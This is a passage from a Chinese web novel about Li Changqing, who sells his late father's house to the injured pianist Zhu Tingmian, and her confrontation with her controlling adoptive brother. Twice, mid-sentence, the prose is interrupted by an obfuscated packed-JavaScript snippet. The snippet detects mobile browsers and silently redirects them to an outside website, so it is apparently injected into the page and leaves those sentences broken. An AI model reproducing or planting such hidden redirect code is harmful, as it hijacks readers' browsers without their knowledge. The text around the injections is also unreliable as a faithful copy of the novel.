李长青看向她的右手,只瞧得见指头,杏仁型的指甲被修剪得很整齐干净,指形流畅,拥有很漂亮的线条。纱布还是裹得很厚,她应该有按时把自己送去镇医院换药换纱布,但也来了这么些天,还要裹这么厚,没有好转的迹象。 他对这只右手的观察时间比自己想象中要长,悬在他们头顶的电风扇已转了几十次脑袋。 “竹听眠?”他轻声喊。 竹听眠睡得毫不设防,脸侧被挤出个小肉堆,和快要被晒化的棉花糖一样。 李长青扭开自己没有喝过的矿泉水,倒了一小瓶盖,站起来,弯腰,很细致地沿着竹听眠的嘴角倒了一小条水痕,甚至还用手指抹开。 很是贴心地为她在衣服上制造了条口水痕。 又害怕天气热水痕干得快,李长青又严谨地补了两瓶盖。 电话果然在约定时间响起,李长青有意让它多响了几秒,顺带让竹听眠醒过来。 “喂,你好?我现在下了车,正在往出站口走,请问我现在应该去哪里找眠姐和你?” 听声音是个年轻女孩,声音和信息里那股操心劲儿有点对不上。 李长青告诉她自己会去车站门口等她,挂了电话偏头一瞧,竹听眠脸侧被压得泛红,那一边的头发乱了几缕,困倦地挂在脸边,她还没完全清醒,低着头,迷茫地观察衣服上那条水痕。 李长青忍着笑,起身交代人:“你醒醒瞌睡,在这等我,别乱跑。” 竹听眠很慢地点头,依然难以置信地盯着衣服,同时困惑地抬起左手摸了摸脸。 11. 苦夏 阳光透过站台的玻璃,视野之内所有都是明亮,很容易看见那个高马尾的白T恤女孩,她同竹听眠一样拥有不属于小镇的风格,很容易辨认。 双方寒暄,女孩说叫她小安就可以,言行并不像短信里那样得体从容,是有些毛躁地再三追问眠姐在哪。 李长青带她出来,竹听眠已经抱着牛仔外套等在几步之外,对上目光的同时,她微笑着迈步过来,一边张开手臂,一边把衬衣塞去李长青手里,对小姑娘喊了句“来抱抱”。 小安当即哭喊着扑过去。 姑且还有些理智,像是记得竹听眠还受着伤,所以扑到面前的时候进行了一个刹车的动作,但依然很着急地抱住人。 话是讲不了的,哭得倒是很起劲儿,叠声喊着“眠姐”。 即使收着力,思念依然具有重量,竹听眠被扑得后退半步,但笑容越发明亮。 李长青这才发现她不知什么时候把披着的头发弄成辫子,松松地挂着,伴随她抬臂安慰人的动作摇晃,嘴角此时弧度尤其温柔。 竹听眠受伤的右手虚虚抬着,左手轻柔地拍着小安后背。 “谁家的宝宝掉金豆豆啦?” 要不是已经认识过几天,很容易相信竹听眠就是这样一个既体面又优雅的人。也是因为提前认识过几天,看她受伤的右手悬在脸侧。 李长青才敢大胆比喻她此时的笑容,如同橄榄,回甘的前提是因为艰涩。 发呆的、困倦的、任性的。 一切不确定的碎片凑到一起,变成一个拥有确切形状的具象的人,轮廓清晰,会安抚会保护,也能幼稚爱戏弄人。 多变无疑是魅力的一种。 虽然很不合时宜,但李长青就是想到了孙明说的那个词。 男女通吃。 李长青插不了嘴,也插不上手,把着行李箱在旁等待。 竹听眠对他张开手掌,“纸呀。” 李长青抽了好几张纸塞给她,此刻瞧着那些花白刺眼的纸,心里的想法也比较复杂。 如果没记错,一个小时之前,竹听眠信誓旦旦地说一定要买纸,讲自己会哭得很厉害。 也不知道为什么,李长青有点想看她“哭得很厉害”的样子,所以大方了一回,买了包加量款。然后目睹她拿着纸温和地给小安擦脸,哄人别哭。 小安的爆发式情绪发泄完之后,勉强恢复了一些工作状态。 竹听眠问李长青:“一会直接去委员会吧?可以麻烦你帮忙捎一段小安的行李箱吗?我们走着过去。” 她变得相当礼貌。 签字的画面尽在咫尺。 李长青利落点头,变得有求必应,临走前给她俩买了两瓶水。 竹听眠接水的时候,故意用矿泉水瓶压了压他的外套,一触即离,笑容得体,目光却很挑衅。 全然是已经发现了恶作剧的得意模样。 李长青笑了笑,麻利地拎着行李箱,跨上摩托,想着要拜托三叔和老妈安排顿好吃的,邀请竹听眠和小安去家里吃饭。 甚至还想买串鞭炮,但思及竹听眠像是不太受得了刺耳的声音,所以打消这个念头,又想像她被吓到的样子,李长青骑着摩托在路上很愉悦地扭出好几个数字八。 五年了,他能给出一个像样的交代,居然控制不住地开始幻想未来。 要不要问问竹听眠住哪个城市呢? 要不要去那个城市上大学呢? 要不要…… 李长青猛地刹住车,瞪着后视镜里的自己,甩了甩头,好笑于自己居然产生这么冒失的憧憬。 但心情前所未有的轻松,意识到终于有权利去想关于未来的事情,全世界都变得顺眼起来。 冒失就冒失吧,没办法的事情。 三叔三婶还有老妈都及时赶到委员会,文件核验进行得很顺利,原本定下的房款早已打到第三方的托管账户,买卖合同也早已拟好,经过双方签字确认,钱款将会立马打入李长青的账户。 竹听眠或许是来时路上匆匆看过合同,谈话中一直占据主导地位,比较意外的是,她表示自己愿意以更高的价格购买这套房子,并且让小安当场展示专业房产评估机构发来的消息,对方给价比李长青的原定价格要高出10%。 消息发送于几分钟之前,显然是临时而为。 李长青的所有喜悦都凝固在这一刻,才滋生的希望还没捂热,突然变成了可笑的东西。 他感到不解,也体验到刺痛,就这么毫无防备地被推向熟悉的境地。 李长青眼睛眨也不眨地看着被展示出来的评估,忽然觉得有些想笑。 再熟悉不过的苦涩从胃里翻滚上来,又被喉咙卡住, 体面的施舍,合理的怜悯。 这几年李长青拼命工作,数次催眠自己其实并不在意那些怜悯和窃窃私语,甚至在最初得知有可能卖出老屋时,他也尽量和左右的邻居对比,公正一些,跑了好几趟委员会对比近年来的交易,面积、位置、年代。没有故意压低,也不是刻意抬高。 李长青并非和钱过不去,今天到手的所有钱,他分文不留全部分给那九个家,但今天得到的钱里面,不该多出一分因为“怜悯李长青”的钱。 就像他坚持老爸不是杀人犯一样,他不肯认,也不能认,所以几乎是死板地要求一切公正合理。 他以为竹听眠是不同的,也期待她的不同。 那个非要为他出头的人,不分场合嬉笑捉弄他的人。 他以为自己真的被她看见。 他怎么会这么以为呢? 自大的结果,就是尚未想明白的隐秘期待毫不留情地戳上了陈旧伤疤。 竹听眠多付了二十四万。 明码标价的同情。 二百六十四万,交易完成。 陈兰当场抱着妯娌哭了起来,三叔还能维持得住,只是同竹听眠道谢的时候声音微哑,邀请她们今天一定去家里吃饭。 “不合适,我们家哪里能招待竹老板,我去订饭店。”李长青打断,然后对面带讶然的竹听眠笑了起来,“谢谢竹老板,祝你生活安康,前尘光明。” “李长青?”竹听眠奇怪地喊了他一声。 “改价格这么大的事情,为什么不提前说呢?”李长青还是没忍住,说话变得难听,“这样是惊喜吗?你会高兴吗?” 难听话说出口也没能觉得痛快。 竹听眠又定定地喊了一次他的名字。 李长青很快回应:“你说?” 他比竹听眠高很多,为了显示认真听的样子,特意弯身下去。 在李长青弯身的这一刻,竹听眠眼睫不受控制地颤了颤,目光从上而下地扫过他的面容。 最终,她移开视线,“饭不吃了。” 竹听眠要走,李长青紧着眉横跨一步挡住人,声音里尽是压不住的困惑。 “给个理由吧,为什么呢?” 竹听眠盯着他身上被洗得发白的条纹衬衣。 他平时不是背心就是光膀子,独独今天知道要签合同,翻出来件正式的衣服穿着。 竹听眠知道他的重视,也能略微体会他的期待和开心。 显然,这份重视已经被辜负。 她几乎是有些无赖地开口:“……拉过勾的。” 拉过勾,下次你一定很快原谅我。 李长青注视着她,很轻很慢地说:“说好的,不伤害我。” 竹听眠垂下眼。 李长青盯着她,“这么可怜我啊?” 又刻意学她的语气问:“别可怜我吧?” 竹听眠依旧沉默,所有回答都被封锁。 李长青等了半天,还是让开了路。 “感谢你,修门框和联系人翻新,可以随时联系我,那些话作数,祝你生活愉快。” * 事态发展得太快。 小安告知竹听眠,她所有专辑的版权都被收走,同时结束了一切代言合约,对方要求她三天之内做出选择。 她只好决定,多出二十四万。 “姐,那个李先生看起来很生气。”小安回头看,那个人始终盯着她们。 “我知道,”竹听眠说,“先说正事吧。” 小安立刻说:“律所刚刚已经完成了一切分割,从现在开始,你和竹家没关系了,你的养母得知消息后,已经在准备发布会。” 养母。 竹听眠是被竹家收养的,在高中那场灾难之后,一众亲戚对她避如蛇蝎,是她的钢琴老师竹臣歌找上了她,表示自己愿意继续支持她深造下去。 “你的手是音乐世界的宝藏。”他这样说,产生了足够的希望。 彼时的秦晴站在人生的十字路口,满目疮痍。竹臣歌正式领养了她,改名竹听眠。 他是一位好老师,好父亲,很大程度上弥补了竹听眠从未拥有过的父爱。 竹听眠有个养母,还有个养兄。 变故发生在三年前,竹臣歌因意外去世,遗嘱写明深爱妻子,因此妻子是唯一继承人。彼时的竹听眠尚未来得及悲痛,就被养母的恶意烫得体无完肤。 原来这位温柔相待多年的养母一直认定竹听眠和竹臣歌有肮脏秘密,说了许多不堪的话,字字珠玑,剥皮碎肉,也是那个时候,养母设置了万般针对竹听眠的家族条例。 尽管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350532|167954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此,竹听眠依然在履行“竹家钢琴师”的职责,为了报恩,也为了让自己好歹还有个家。 半年前,大她四岁的养兄竹辞忧正式宣布要和竹听眠订婚。 在没有告知当事人的前提下。 竹听眠不知道这份感情萌芽于何时,又是为何发展到这般地步,但这一点无疑彻底烧穿了养母的理智。 在竹听眠右手受伤,确诊无法恢复如常之后,养母提前公布了她的家族条例,表示竹听眠个人名下拥有超过两百六十万,即竹家赠与房产和车产总额的百分之十,竹家将会收回所有赠与物资,对外公布她这个人和竹家再无关系。 也就是说,竹听眠只要明面上拥有超过这个数字的资产,就必须离开竹家。不愿意离开也可以,那么就不能拥有自我财富。 那毕竟是竹家。 所有人都认定竹听眠舍不得富贵生活,没太考虑她想怎么活着。 两条路摆在竹听眠面前,要么忍气吞声,继续做竹家的小女儿,一个无法再奏出完美音乐的业界过期品,但好歹依然拥有价值,很好拿捏。 要么早点安家,早点离开。 任何一条路都在逼她不准答应竹辞忧的求婚。 养母很认定这段疯狂的关系里,竹听眠永远是主动勾引的那一个。 竹听眠知道李长青这屋子售价二百四十万,竹听眠从二十岁崭露头角开始,演奏会,比赛,代言,专辑合作,的确挣过钱,而且马上能认证伤势,拿到保险赔偿。但是,被前后堵截的情况下,她需要立马决定,获得一个法律意义上的牺牲之所。可要是让她短时间内再去凑另一套屋子的钱出来,那是天方夜谭。 她明白李长青的尊严受伤。 却无法告知真相,因为事实太过难以启齿。 “喂,我告诉你呀,我的养母怀疑我和她丈夫有一腿,又认定我勾引她儿子,所以逼我离开,所以我非要两百六十万买你这屋子。” 多么扯淡的一个故事。 她经历过这么疯的生活,却依然难以用语言描述出来。 手废了,家没了,刚刚亲自推开一个朋友。 人生真的是太过美妙。 留给惆怅的时间并不多,竹辞忧调查小安行踪,两日后到达秋芒镇。 “眠眠,你出来或者我进去,希望你选择前者,相信你也会担心小安之后的就业前程。” 车队堵在镇口,几名保镖巡视着逼退围观的人,阻止试图拍摄的人。 竹听眠面无表情地走向自己熟悉的那一辆车,车窗很快降下,西装革履的人在里面说:“上车。” 与生俱来的优越感让竹辞忧无需提高音量就能施加压力。 竹听眠喊他“哥哥”,她知道他不喜欢这个称呼,也明白自己此时有多么故意。 “别逼我了吧?” 竹辞忧说:“你妈妈的事,我解决了。” “谢谢,”竹听眠问,“火化了吗?” “下葬了,”竹辞忧说,“上车,我带你回去见我妈。” 他矜贵抬手,指了指身边的位置。 “我不想见,谁的妈都不想见,还有你,我不想见,”竹听眠看着他,“你应该知道,我除了和你一个姓之外,现在没有任何关系。” 竹辞忧面不改色低声相劝:“眠眠,十车人,总有让你不太体面上车的办法。” 他轻描淡写地暗示会丧失尊严的可能性。 竹听眠没忍住笑出了声,引得竹辞忧正式看她。 “来。”她说。 竹辞忧看向后视镜,司机获意,按下指示键。 前后两辆车的人尽数下车,渐渐围过来。 竹听眠拔出握在手里的水果刀,刀尖对准自己下巴,动作流畅得令人心惊。 她盯着竹辞忧又说了一遍:“来。” 竹辞忧下颌立时收紧,眼底的怒意昭然若揭。 冰凉抵上皮肤,随之而来的不是对死亡的恐惧,反倒是一种奇异的平静,前所未有的疲惫席卷全身,决心不变,但她再没有比现在这一刻厌恶生活。 从来都是一塌糊涂。 好在她依然有力气还绝境以决绝。 “你是哥哥,让让我吧,”竹听眠笑着说,“五。” 她开始倒数,竹辞忧显然明白数到一会发生什么,但只是眸光不善地看着人。 竹听眠没所谓,数得很快。 到“三”的时候,竹辞忧做了个开口的动作,似乎终于准备妥协。 “二。”竹听眠没有停顿,继续倒数。 对峙中,摩托引擎的轰鸣声比竹辞忧的语言先声响起。 秋芒镇治安小狗又出动了。 12. 微芒 12 李长青就没有个空闲的时候。 这两天里,先是进城把所有现金背了回来,按照当初法院下的赔偿项目分好,剩余的钱算作平分,上门取挨家挨户地给。 有两家是不让进门的,陈家,还有齐家。 恨意会被时间发酵,变得难以承受。 在此之前,李家一直算是镇子上的富余人家,老爸更是出名的能人,彼时,谁都夸他。 五年前李长青考上重点大学,老爸比谁都高兴,摆了十天长街宴,那个时候,李长青觉得手里的握着沉甸甸的幸福,一切美好都触手可及。 也是那个夏天,老爸筹备小矿场,希望多挣一些,争取早点让儿子在大城市买房,一起进矿的都是相熟的好友,齐群父母向来和李家亲近,二话不说就加入进来。 噩耗来时,李长青刚报完到。 山体滑坡,矿场倒塌,救援深入的时候一切都已经太晚。 事故调查迟迟没有定论,说是天灾,说是地质勘测,说是老爸为了钱铤而走险。 加上李长青自己,一共十家人失去了顶梁柱,其中,齐群失去了双亲。 恨谁呢? 恨天恨地不太现实,恨命毫无作用。 不如恨一个具象的人。 李家变卖一切,三叔三婶把服装厂都卖了,留个杂货铺维持生计,老妈卖掉车和房,同李长青一起吃住在铺子里。 即便如此,在那么多条命前,一切都显得徒劳。 最开始那几个月特别难熬,老妈整日失魂落魄,几次悄悄走到河边,坐很久,又自己回家,直到发现李长青每次都跟着自己。 那是李长青唯一一次看到老妈那样哭,她哭着说对不起,又哭着问怎么办啊。 李长青告诉老妈,没事的,会好的。 老妈哭累了,疲惫地跌坐在河边,没一会睡了过去。 李长青在河边抱着老妈坐到天亮。 那年他十九岁。 自己办的退学。 李长青从小跟着爷爷和老爸做木工活,即便耳濡目染,但真正上手始终生疏。 初挑大梁,手艺算不上纯熟,误工都算好的,好几回险些把手锯了,口子更是东一道西一条,难以计数。 老妈渐渐振作起来,她被老爸宠了许多年,已经很有没有工作过,一样可以自己进城去找活。 照顾九个家也是从那个时候开始。 能接的活都揽过来做,手不熟就通宵练,每天买肉买菜,学期开始前给有孩子的家送去学费。 因为补偿款五年前没给够。 也因为李长青不敢停下来,他怕自己也沉浸痛苦不可自拔,怕自己稍微松懈就再没力气走下去。 九家人里,有漠视以对的,也有慷慨施笑的,九种表情,九种隐而不发的情绪。 只有痛苦是相似的。 李家也失去了一位父亲,可谁在意呢?好似“受害”和“加害”真的只有一字之差。 越来越多的人说老爸是杀人犯。 不知不觉间,承担已然变成了李长青的底色。 卖了房,带回钱。 一家一家去送,前半段比较顺利。 李长青深深鞠躬,说以后就不每天送肉送菜了,但有需要的,随时可以联系他。 其中几家每一次李长青上门时都会劝他不用这样,但李长青只有亲手把钱交到他们手里,才觉得自己有资格这样说。 张婶和二丫哭得抱作一团,赵老叔挥舞拐杖让他滚出去。 陈家妈妈向来不许李长青进门,这次也是一样,陈小胖在侧门接过钱,小声说:“妈妈在里面哭。” 李长青低头看了他好一会,沉默着揉了揉小孩儿的脑袋,把自己买的一大袋零食递给他,“吃完记得刷牙,小心蛀牙。” 很重的一袋,陈小胖却没笑,而是很担忧地问:“长青叔,妈妈说以后你不会管我们了,你不管我了吗?” “管的,”李长青蹲下去对他说,“以后我会常常来看你。” “你要来的。”陈小胖说。 “会来的。”李长青答应他。 陈小胖有些犹豫,黏声说:“我有点害怕,长青叔,你抱抱我。” 李长青深深吸一口气,暗自稳住情绪,将小孩儿捞进怀里抱住,还把他举过头顶,带他玩了几圈飞机游戏。 陈小胖被挠到痒痒肉,趴在李长青肩头乐得嘎嘎笑,笑声脆响,过了会,又开始抽泣。 他说:“长青叔,我想爸爸。” 李长青轻轻拍着小孩儿的背,抱了很久。 最难的一家是齐群。 门打开时,齐群双眼布满血丝,眼神阴鸷,“你是解脱了吧李长青?” 李长青没回答他,从背包里取出那几捆钱。 齐群盯着那些钱看了几秒,猛地伸手抓过来,继而用力地砸向李长青的脸。 “你怎么不去死啊!” 李长青安静地弯下腰捡钱。 齐群几步跨到他面前,挥拳过来。 李长青没躲,拳头结结实实地带着风,砸到他颧骨上,砸得眼前白光一片。他踉跄着稳住身子,舔了舔嘴角,继续捡钱。 拍了灰,堆好,又递过去,“别和钱过不去。” 齐群依然没接,喘着粗气盯着那堆钱,肩膀开始颤抖,随后整个身体都绷紧,猛地蹲下身抱着头嚎啕大哭。 李长青等了一会,脱掉自己上衣,铺在齐群身旁,把钱整整齐齐地码在那。 最后,他拎了两瓶酒去老爹坟前坐到天黑。 “爸,喝酒。” 眼泪悄无声息地涌了出来,李长青没擦,想了会,小声说:“我想你。” 情绪在这一刻决堤,他双手捂住脸躺身下去,蜷缩在坟前,喉头挤压出低沉的呜咽,呜咽逐渐变成大哭,释放这五年来的压力和思念。 “爸,我好想你……” 再回到家,发现全家上下都是一样红着眼,老太太都哭了,当晚开心得多喝了半斤包谷酒,远在外地念书的表妹得知消息,激动地打电话过来非要视频,三婶犟不过她,只好把手机供在饭桌上,一家人说说笑笑,又沉默叹息。 未来再如何光明,痛苦已然发生。 李长青还是会想起竹听眠,越是想,那个夏夜的画面就越发清晰。 竹听眠坐在院子里说她吃了很多苦,眼睛微微垂着,声音很轻。她总是困倦,会因为很隐秘的情绪而变化表情,说不了几句话就要嘲弄人,很瘦,又带着伤。 李长青不明白他和竹听眠怎么会闹出这样的不愉快。 他会反复想起竹听眠那天颤抖的睫毛,抿着嘴避开视线的样子。 李长青开始隐隐后悔自己说出的话,开始思量自己是不是带着没必要的自尊心去伤害大恩人。 再次得知关于竹听眠的消息,是孙明跑来通知的。 李长青刚从木材厂回来,车还没停稳,孙明就急吼吼地扑过来拍窗,“长青!她在镇口被堵了!” “谁被堵了?” “竹听眠!” 李长青立刻从车上跃下来,跨上摩托窜了出去。孙明话说一半,只好先骑着摩托跟在后面。 秋芒镇是没有过这种场面的,豪车、保镖,围观的人不少。 车身泛着昂贵刺目得光泽,几个身着西装戴着耳麦的人正把围观的人群往外推。 竹听眠向来显眼。 她站在其中一辆车前,挺着脊背和车里的人说话,阳光直直照在她头顶。 又没戴帽子。 孙明赶过来停在李长青旁边,“卧槽,这些车我就在网上见过啊,哎长青,你这买主到底什么来头啊?” “不是我的买家,买的房子。”李长青纠正。 他撑着摩托,远远地看着那边的情况,不晓得说了什么,前后几辆车下来六个保镖围住了她。 下一秒,竹听眠居然拔出刀来对着自己下巴。 围观的人开始低呼。 没有思考的余地,李长青想也不想,拉着离合扭动油门。 他不确定竹听眠需不需要有人帮她,也不确定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350533|167954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹听眠想不想要李长青出手。 但如果竹听眠不放下刀,李长青会立刻过去。 油门扭得又凶又急,她果然回头,好像笑了一下。 也只有一下。 竹听眠收回注意力,继续用目光询问车里的人。 竹辞忧从车窗伸出手摆了一下,围着人的六名保镖依次上车。 “没必要这么极端。”他说。 “难道你就温和了?”竹听眠放下了刀,“竹辞忧,我只给你这一次回答,相信你能看清我的决心。” “看清了,”竹辞忧目光投向不远处那个骑着摩托的青年,“眠眠,这是你的新朋友?” 竹听眠没有闲聊的心思。 知道竹辞忧迟早要来,这种极端情况在竹听眠的考虑范围之内,毕竟竹辞忧真能做出这样的事儿。 至今为止,竹听眠从未公开主动做什么,她手里捏着可以对竹家起致命打击的证据,这一点养母知道,竹辞忧当然也知道。 她会终生感恩老师,但也只能报答到这一步了。 竹辞忧今天到这,无非是受不了她脱离控制,也想来听一个答案。 “我会收回起诉,”竹听眠大方地给出答案,“你也别再来,你应该知道鱼死网破四个字怎么写。” “你不要竹家,那我呢?” 竹听眠不予反应,“慢走。” “眠眠!”竹辞忧喊她,咔嗒一声拉开车门,准备下车的同时问,“你觉得我是担心你起诉?” 竹听眠回手门和人都按回去,“你还担心钱。” “没必要到这一步,”竹辞忧手还扣在车门上,“我可以解决。” 他又看了一眼不远处的青年,“你要留在这,你知道他们这样的人——” “竹辞忧,”竹听眠收敛笑意,“你很有钱,你过得开心吗?” 她顿了顿,偏头摆出一个怜悯的表情,“你喜欢的人都不喜欢你,你在骄傲什么呢?你觉得自己到这来逼迫我嫁给你这个行为很高贵吗?” 口吻轻松,像是在说别人的故事。 “你很爱我吗?未必吧,不然你接受我的起诉,接受调查,接受名誉破碎一地,我们平等之后,你再来说娶我好了。” 竹听眠给出建议。 竹辞忧猛地抬眼看她,额上青筋已然暴露情绪,他抿直嘴,问:“这是帮他说话?” “不然呢?”竹听眠反问。 她摇头说:“竹辞忧,可能你忘了,被老师捡走的时候,我也很狼狈,我就是你嘴里的那种人。” “我们相处了很多年,”竹辞忧抬头说,“你不可能一点感情都没有。” 竹听眠已经开始离开,“你只是不甘心,别给自己打深情的标签。” 李长青和所有人一起看着她往这边走,停在他面前,盯着他的脸。 “怎么又伤了?”她问。 李长青被她盯得有些不自在,往后仰了仰身子,没回答。 谁能想到竹听眠直接拽着他的腰跨坐到摩托后座,手抓着衣服,扒着肉,那一整块皮肤都开始变得奇怪,难以描述的感觉开始蔓延。 李长青僵住身子。 他不记得上一次有人这么亲近地触碰自己是什么时候,或许从未有过。 重点是竹听眠都不知道避嫌的吗? 这么多人看着呢。 “一会路过的时候崩那辆车,”竹听眠指挥。 李长青喉结滚了滚,低声说:“不路过,我不去那边。” 竹听眠又捏他。 李长青捏得抖了一下,嘟囔:“别动手动脚。” “快点。”竹听眠催他。 李长青注意到竹听眠的手臂在自己腰间收紧,一同被勒住的还有肺,有些不好呼吸。 那辆车的后窗还没升起来,里面坐着个人模狗样的男性。 被竹听眠碰过的地方都变得很奇怪。 李长青没有再说话,也没明白自己为什么要那么听话。 但是路过那辆车的时候,十分响亮地崩了一下油门。 13. 微芒 离开没多远,竹听眠再次做出重要指示。 “绕一圈路回去吧。” 李长青没戴头盔,张开嘴含着风应了一声,本想带人去民宿,才知道竹听眠早已搬回老屋。 什么时候请人开始整理的,都没说呢,李长青有心想多问,却无论如何开不了口。 老屋门口守了两个大姐,目光兴奋地盯着竹听眠从摩托下来,一脸随时准备打听消息的模样。 怎么说呢,小镇的穷,穷在人心。 大部分人都拥有自己的固定生活模式,在这个模式里,基调平平,家长里短柴米油盐,换来转去无非就是那么些故事,只消听见不同寻常的事情,必定希望打探清楚。 这种侵\犯伤痛的行为往往以叹息收尾,用怜悯的目光包裹隐秘的满足。 李长青对这样的目光很熟悉。 再说回这两个大姐。 其中有一个李长青尤为印象深刻,大家都喊她黄二妹,吊梢眼,染了青绿的眉,说话带着天生的哑意,常年奔走于小镇消息网里,乐此不疲。 以往试图劝陈兰改嫁,言说女人要是不靠男人,日子怎么过。 据不完全统计,黄二妹被陈兰赶出家门五次,其中有一次动了手,黄二妹打不过陈兰,干脆开始宣传陈兰是个克夫的不吉利女人。 李长青得知消息之后,带着孙明他们几个人,从早到晚站在她家的香料铺子里,谁想进去买东西都要经历五六个小镇混混的凝视,很是折磨人。 一言不发,一站就是半个月。 自那以后,黄二妹看见李长青都会绕开,再远远地啐一口。 同样的,这次瞧见是李长青带着竹听眠回来,黄二妹下意识地顿了顿脚步。或许是因为身边有人陪,或许是觉得竹听眠看上去很好说话,所以她还是热情地凑上来。 “小竹啊,哎哟,刚才是谁来找你?很有钱吧?是你男人吧?” 已然说出了推断出的答案。 李长青冷着脸拦到她面前。 竹听眠面不改色从李长青身后绕出来,同黄二妹打招呼:“黄姐。” “啊?”黄二妹和身边的人互相看一眼,依然想要得到回答,“是吧,哎哟我就说你年纪轻轻怎么这么有钱,和你男人吵架了吧?我看那车不便宜。” 竹听眠还是笑,“不便宜,把你卖了都换不来一个车轮呢。” 黄二妹笑容一僵,立马反应过来自己正在被羞辱,难以置信地瞪着眼喊:“我就来随便问问,你们城里人说话就是难听哦,还以为多好相处!说话刺人的嘞!” “怎么还生气了呢?我开玩笑的呀。”竹听眠一本正经。 有点爽,李长青靠着院墙抱手瞧得津津有味。 黄二妹马上要扯开嗓子喊,竹听眠赶紧抬手止住她,很是为人着想。 “姐,你差不多该回家吃饭了吧,不对,回家做饭,我都知道的,你家那口子动手打人呢。”竹听眠摇摇头,开解她,“不怕,以后你要离了,我把我朋友介绍给你,放心,你喜欢我那个年轻朋友的事儿,我不往外说。” 竹听眠自认不是善茬一个,故意问:“不过,你能离得了吗?” 无形间谣言已然开始逆转,以很戳心的方式。 黄二妹咒骂着离开,声称竹听眠一定是被李长青带坏了。 李长青简直冤枉,他可没这本事。 而且自己想要和竹听眠说两句话,嘴还没张开,人已经进了院子,一路上楼,并没有给任何交流的余地。 他呆呆地在院里杵了会,抬手碰了碰刚刚竹听眠搂过的地方。 心想原来这人生气是这个样子。 可是,李长青想,那天之后就没有好好说过话了呀。 摸了人就应该多说两句话啊,李长青最后看了眼二楼,拔腿朝厅里走去。 老屋里有不少眼熟的师傅,打听得知都是一个年轻姑娘招募他们过来做翻新工作。 小安的工作效率真是没得说。 李长青也没和师傅闲聊,大概说一下屋子里哪些地方需要注意,赶忙回铺子车木头。 他也得早点带着东西去修门框。 孙明这一天就追在李长青后面跑了,见他回来,当场升堂,逼问他到底载着竹听眠上哪去了。 “没上哪,”李长青仍然觉得莫名其妙,“就把她带回老屋,然后她就自己上楼了,不搭理我。” “不搭理你?”孙明一个字都不信,“那怎么不见她上别人的车,就上你的车!你没问她刚才和谁说话吗?” “干嘛要问。”李长青搬着木头用眼神示意人站远点。 孙明憋了一肚子话要说,李长青启动车床,以噪音对抗噪音。 孙明无法,只好扯着嗓子问了最后一句话:“那你生日!要请她!来!吗!” 李长青装作没听见。 他已有好多年没过生日,但老妈说今年不一样,无论如何希望能在那一天好好吃顿饭,邀请了孙明和王天,还有其他几家多年来一直帮助李长青的人。 生活开始有了起色,李长青当然知道老妈在开心什么,没道理阻止,老妈和三婶提前两天开始准备菜,时间正式来到本年的八月十二号。 不论谁想起来都颇为感慨,想想三个月前李长青在过什么日子,现在,陈兰终于可以把自己去城里带回来的补习班资料拿出来。 “长青啊,我都听说了,好多人七老八十都重新考大学,而且你是不经常让你三叔给带资料书回来么?试试?” 很久没有在老妈眼里看到这样的光芒,李长青感恩地接过来,抱了抱老妈说自己会认真考虑。 母子俩没说几句话,陈兰又哽咽起来,最后还是三婶进屋,笑呵呵地打趣,让李长青赶紧去镇口带老太太回来,客人马上就到。 老太太身体向来硬朗,平时也没别的爱好,家里的地没往外承包,种了果树。早几年种田这事儿就是一个老人的爱好,直到家里出事急着凑钱,地承包出去也换不来多少,老太太干脆搞了辆推车,坚持每天去镇口卖水果。 一车水果的重量不是闹着玩儿的,所以家里人轮换着每天把老太太送过去,晚些再接回来。 即便现在已经不太需要老太太继续卖水果挣钱,但她已经有了习惯,每天出去走走对健康也好,所以家里都支持她。 最近,已经有好几次,老太太在饭桌上宣布自己交到了一个朋友,很聊得来。 她积极参与生活,并且愉快地尝试新朋友,不忘夸奖李长青,说因为有这个孙子,让她都能活得快乐一些。 三叔年近半百仍爱在老妈面前现眼,乐于和大侄子争宠,“妈,我这几年都在戒烟,已经小有成效,还是省了很多钱的。” 这几年。 亏他好意思说,三婶都听乐了。 张桂香更是直接戳破,“你多抽点,人没了一样省钱。” 李长青咬着菜闷头笑个不停。 老太太作为一家子的精神骨,那是一把火烧了七十多年都不见熄的脾气。 交了朋友,不晓得是什么样的人。 李长青想起这个就觉得好笑,答应着乐呵呵地跨出门槛,路上绕去老屋,没想好要怎么开口邀请才合适,在门口略加踌躇,很快被院里的师傅告知竹听眠早已出去溜达,不晓得去哪。 李长青只好去接老太太和她的水果推车。 * 竹听眠和七旬老太张桂香的友谊始于一场争辩。 张桂香以人格起誓,自己的橘子绝对甜,竹听眠轻信歹话,当场买了半斤,没想到这橘子酸得人神共愤。 人当场就吃吐了。 张桂香震惊不已,立马弯腰打量,夸她不显怀——宁愿觉得人怀孕都不肯相信是橘子的问题。 人怎么能固执成这种样子? 竹听眠和老太太争辩起来,非让她自己尝尝。两个人谁都不肯让步,声音就此越拉越高。 张桂香信誓旦旦地表示自己的橘子天下最甜,气急了,一口气塞了半个。 酸得差点儿重返青春。 最后还是竹听眠去买来胃药,泡了两杯,张桂香喝得豪情万丈,末了舔舔嘴皮,表示自己还要再喝一杯。 药是能喝着玩儿的? 这老太太真是…… 竹听眠对于亲情的记忆十分浅薄,没什么美好的相处回忆,遑论照顾老人。 她有些好笑的想:所有老人都这样好玩吗? 